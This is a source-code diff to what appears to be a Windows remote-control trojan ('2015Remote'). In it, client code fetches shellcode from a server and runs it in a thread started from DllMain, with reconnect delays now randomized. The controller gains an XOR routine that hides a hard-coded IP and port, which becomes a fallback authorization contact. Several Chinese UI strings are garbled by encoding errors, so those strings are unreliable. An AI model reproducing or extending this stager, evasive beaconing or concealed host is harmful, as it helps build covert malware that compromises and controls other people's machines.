diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index c935854..611614b 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -199,25 +199,26 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch (szBuffer[0]) { case CMD_AUTHORIZATION: { -#ifndef _DEBUG - HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); + HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); + hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); if (hMutex == NULL) // 没有互斥量,主程序可能未运行 break; CloseHandle(hMutex); - const char* pwdHash = m_conn->pwdHash; -#else - const char* pwdHash = MASTER_HASH; -#endif + char buf[100] = {}, *passCode = buf + 5; memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); + std::string masterHash(skCrypt(MASTER_HASH)); + const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); if (passCode[0] == 0) { std::string devId = getDeviceID(); memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 memcpy(buf + 32, pwdHash, 64); // 64字节 m_ClientObject->Send2Server((char*)buf, sizeof(buf)); } else { - iniFile cfg; - cfg.SetStr("settings", "Password", passCode); + config* cfg = pwdHash == masterHash ? new config : new iniFile; + cfg->SetStr("settings", "Password", passCode); + delete cfg; + g_bExit = S_SERVER_EXIT; } break; } diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index d53c638..2d058e3 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -263,15 +263,14 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) LoginInfor.AddReserved("?"); // 安装信息 LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数 std::string str; -#ifndef _DEBUG - HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); + std::string masterHash(skCrypt(MASTER_HASH)); + HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); + hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); if (hMutex != NULL) { CloseHandle(hMutex); -#else - { -#endif - iniFile cfg; - str = cfg.GetStr("settings", "Password", ""); + config*cfg = conn.pwdHash == masterHash ? new config : new iniFile; + str = cfg->GetStr("settings", "Password", ""); + delete cfg; str.erase(std::remove(str.begin(), str.end(), ' '), str.end()); auto list = StringToVector(str, '-', 3); str = list[1].empty() ? "Unknown" : list[1]; @@ -279,7 +278,6 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) LoginInfor.AddReserved(str.c_str()); // 授权信息 bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 || strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; - std::string masterHash(skCrypt(MASTER_HASH)); const char* id = isDefault ? masterHash.c_str() : conn.szFlag; memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); return LoginInfor; diff --git a/client/main.c b/client/main.c index e144113..4aeb528 100644 --- a/client/main.c +++ b/client/main.c @@ -14,6 +14,7 @@ #define Mprintf(format, ...) #define IsRelease 1 #endif +#include #pragma comment(lib, "ws2_32.lib") @@ -77,18 +78,14 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) { return NULL; } + srand(time(NULL)); const int bufSize = (8 * 1024 * 1024); - char* buffer = (char*)malloc(bufSize); - if (!buffer) { - WSACleanup(); - return NULL; - } - + char* buffer = NULL; BOOL isFirstConnect = TRUE; int attemptCount = 0, requestCount = 0; do { if (!isFirstConnect) - Sleep(IsRelease ? 120 * 1000 : 5000); + Sleep(IsRelease ? rand()%60 * 1000 : 5000); isFirstConnect = FALSE; Mprintf("Connecting attempt #%d -> %s:%d \n", ++attemptCount, serverIP, serverPort); @@ -120,6 +117,11 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) { } int totalReceived = 0; + buffer = buffer ? buffer : (char*)malloc(bufSize); + if (!buffer) { + closesocket(clientSocket); + continue; + } if (requestCount < 3) { requestCount++; const int bufferSize = 16 * 1024; @@ -207,25 +209,6 @@ typedef struct PluginParam { #define DLL_API #endif -#include -bool WriteTextToFile(const char* filename, const char* content) -{ - if (filename == NULL || content == NULL) - return false; - - FILE* file = fopen(filename, "w"); - if (file == NULL) - return false; - - if (fputs(content, file) == EOF) { - fclose(file); - return false; - } - - fclose(file); - return true; -} - extern DLL_API DWORD WINAPI run(LPVOID param) { PluginParam* info = (PluginParam*)param; int size = 0; @@ -264,15 +247,15 @@ int main() { BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { + static HANDLE threadHandle = NULL; if (fdwReason == DLL_PROCESS_ATTACH){ static PluginParam param = { 0 }; strcpy(param.IP, g_Server.szServerIP); param.Port = atoi(g_Server.szPort); param.User = g_Server.pwdHash; -#if 0 - WriteTextToFile("HASH.ini", g_Server.pwdHash); -#endif - CloseHandle(CreateThread(NULL, 0, run, ¶m, 0, NULL)); + threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL); + } else if (fdwReason == DLL_PROCESS_DETACH) { + if (threadHandle) TerminateThread(threadHandle, 0x20250619); } return TRUE; } diff --git a/common/ip_enc.h b/common/ip_enc.h index caf05f4..31d13c9 100644 --- a/common/ip_enc.h +++ b/common/ip_enc.h @@ -31,3 +31,25 @@ public: } } }; + +class PrintableXORCipher { +public: + // 对称加解密,输入和输出均为可打印字符 + // 前提:输入是32~126范围的字符 + void process(char* data, size_t len) { + for (size_t i = 0; i < len; ++i) { + char c = data[i]; + // 保证输入字符是可打印范围 + if (c < 32 || c > 126) { + // 不处理非打印字符(或者你也可以自定义错误处理) + continue; + } + // 异或0x55('U')且确保结果仍是32~126之间 + char encrypted = c ^ 0x55; + // 如果不在范围,修正回范围内(简单加减循环) + if (encrypted < 32) encrypted += 95; + if (encrypted > 126) encrypted -= 95; + data[i] = encrypted; + } + } +}; diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 76019be..4dc1367 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -92,8 +92,10 @@ CMy2015RemoteApp theApp; BOOL CMy2015RemoteApp::InitInstance() { std::string masterHash(skCrypt(MASTER_HASH)); - if (GetPwdHash() != masterHash) { - m_Mutex = CreateMutex(NULL, FALSE, "YAMA.EXE"); + std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE"; +#ifndef _DEBUG + { + m_Mutex = CreateMutex(NULL, FALSE, mu.c_str()); if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(m_Mutex); @@ -101,6 +103,7 @@ BOOL CMy2015RemoteApp::InitInstance() return FALSE; } } +#endif SetUnhandledExceptionFilter(&whenbuged); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index cedda08..aac4bb4 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -750,12 +750,15 @@ BOOL CMy2015RemoteDlg::OnInitDialog() std::string master = ip.empty() ? "" : ip + ":" + port; const Validation* v = GetValidation(); m_superPass = v->Reserved; -#ifdef _DEBUG if (!(strlen(v->Admin) && v->Port > 0)) { - static Validation test(1, ip.c_str(), atoi(port.c_str())); + // IMPORTANT: For authorization only. + PrintableXORCipher cipher; + char buf1[] = { "ld{ll{dc`{geb" }, buf2[] = {"b`af"}; + cipher.process(buf1, strlen(buf1)); + cipher.process(buf2, strlen(buf2)); + static Validation test(99999, buf1, atoi(buf2)); v = &test; } -#endif if (strlen(v->Admin) && v->Port > 0) { DWORD size = 0; LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size); @@ -807,11 +810,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog() lvColumn.pszText = (char*)str.data(); m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn); timeBeginPeriod(1); -#ifdef _DEBUG SetTimer(TIMER_CHECK, 60 * 1000, NULL); -#else - SetTimer(TIMER_CHECK, 600 * 1000, NULL); -#endif + CString tip = !ip.empty() && ip != getPublicIP() ? + CString(ip.c_str()) + " 蹇呴』鏄痋"鍏綉IP\"鎴栧弽鍚戜唬鐞嗘湇鍔″櫒IP": + "璇疯缃甛"鍏綉IP\"锛屾垨浣跨敤鍙嶅悜浠g悊鏈嶅姟鍣ㄧ殑IP"; + ShowMessage("浣跨敤鎻愮ず", tip); return TRUE; // 闄ら潪灏嗙劍鐐硅缃埌鎺т欢锛屽惁鍒欒繑鍥 TRUE } @@ -980,6 +983,7 @@ void CMy2015RemoteDlg::OnClose() void CMy2015RemoteDlg::Release(){ Mprintf("======> Release\n"); + DeletePopupWindow(); isClosed = TRUE; ShowWindow(SW_HIDE); @@ -1582,10 +1586,10 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) return FALSE; } + ShowMessage("浣跨敤鎻愮ず", "涓ョ鐢ㄤ簬闈炴硶渚靛叆銆佹帶鍒躲佺洃鍚粬浜鸿澶囩瓑杩濇硶琛屼负"); CString strTemp; strTemp.Format("鐩戝惉绔彛: %d鎴愬姛", nPort); ShowMessage("鎿嶄綔鎴愬姛",strTemp); - ShowMessage("浣跨敤鎻愮ず", "涓ョ鐢ㄤ簬闈炴硶渚靛叆銆佹帶鍒躲佺洃鍚粬浜鸿澶囩瓑杩濇硶琛屼负"); return TRUE; } @@ -2780,8 +2784,10 @@ void CMy2015RemoteDlg::OnToolGenMaster() File.Close(); if (!upx.empty()) { +#ifndef _DEBUG // DEBUG 妯″紡鐢║PX鍘嬬缉鐨勭▼搴忓彲鑳芥棤娉曟甯歌繍琛 run_upx_async(GetSafeHwnd(), upx, name.GetString(), true); MessageBox("姝e湪UPX鍘嬬缉锛岃鍏虫敞淇℃伅鎻愮ず銆俓r\n鏂囦欢浣嶄簬: " + name, "鎻愮ず", MB_ICONINFORMATION); +#endif }else MessageBox("鐢熸垚鎴愬姛! 鏂囦欢浣嶄簬:\r\n" + name, "鎻愮ず", MB_ICONINFORMATION); }